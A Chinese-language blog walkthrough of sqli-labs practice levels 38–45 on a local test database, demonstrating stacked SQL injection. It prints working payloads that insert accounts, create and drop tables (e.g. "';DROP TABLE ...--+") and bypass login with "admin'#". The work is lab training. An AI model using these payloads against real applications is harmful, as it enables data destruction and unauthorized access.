less-38

這一題一樣是用單引號進行閉合,可以發現的確有sql injection:

不過這一次的php原始碼有以下函數:

代表我們可以使用「堆疊注入」,也就是一次執行多個指令,指令間以分號隔開。

可以看看原本資料庫:

D:\phpStudy_2016>mysql -u root -p
Enter password: ****
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 128
Server version: 5.5.47 MySQL Community Server (GPL)

Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> select * from users;
ERROR 1046 (3D000): No database selected
mysql> use security;
Database changed
mysql> select * from users;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+
13 rows in set (0.00 sec)

經過堆疊注入

0';insert into users(id,username,password) values(38,'less38','hello')--+

之後的資料庫:

的確多了剛剛堆疊注入出的less-38這個帳號。也可以試試多創建一個table:

0';CREATE TABLE WhiteMoon LIKE users;--+

也的確會多出table:

mysql> select TABLE_NAME from information_schema.tables where TABLE_SCHEMA = database();
+------------+
| TABLE_NAME |
+------------+
| emails     |
| referers   |
| uagents    |
| users      |
| whitemoon  |
+------------+
5 rows in set (0.00 sec)

也可以刪除,只要把上圖反藍替換成刪除語句即可:

0';DROP TABLE WhiteMoon;--+

看看下圖,可以比對出的確有刪除。

less-39

是數值型注入,除了不須加單引號外,其他都一樣:

1;CREATE TABLE WhiteMoon LIKE users;--+

1;DROP TABLE WhiteMoon;--+

less-40

一樣,只是要注意閉合是')

1');DROP TABLE WhiteMoon;--+

less-41

可以用跟less-39一模一樣的方式來新增跟刪除table,這題的主要不同點在於這題錯誤不回顯,是盲注。

less-42

看到輸入密碼畫面,總之先用

https://github.com/payloadbox/sql-injection-payload-list

裡面的SQL Injection Auth Bypass Payloads來爆破一次。可以得知在以下payload時會出現錯誤訊息:

可以發現這些payload(length 962-973)的共通點是單引號,所以大概那就是閉合。而這一次一樣是堆疊注入,所以就如法炮製試試看:

帳/密: admin/c';create table less42 like users#

帳/密: admin/c';drop table less42#

如果直接用admin/admin登入成功,則會出現更新密碼畫面:

不過這一題不是二次注入,所以也沒用。

less-43

跟less-42一樣,只是閉合變成了')。這樣的閉合,從下圖length最小的前3個可見一斑。

less-44

上圖反藍的payload,雖然上圖下方的Render沒有顯示出來,但實際用其中一個admin'#,可以成功登入如下圖:

代表這一次還是單引號閉合。之後就一樣是堆疊注入

admin';create table test like users;#

admin';drop table test;#

跟之前的差別,只是這一次不會回顯。

less-45

跟43關payload相同,但跟43一樣不會有報錯訊息。


#sql injection: 一次執行多個指令(堆疊注入;get、post) #sql 指令基礎用法







Related Posts

【單元測試的藝術】Chap 8: 好的單元測試的支柱

【單元測試的藝術】Chap 8: 好的單元測試的支柱

HTB Timelapse Walkthrough

HTB Timelapse Walkthrough

number 類型的內建函式

number 類型的內建函式


Comments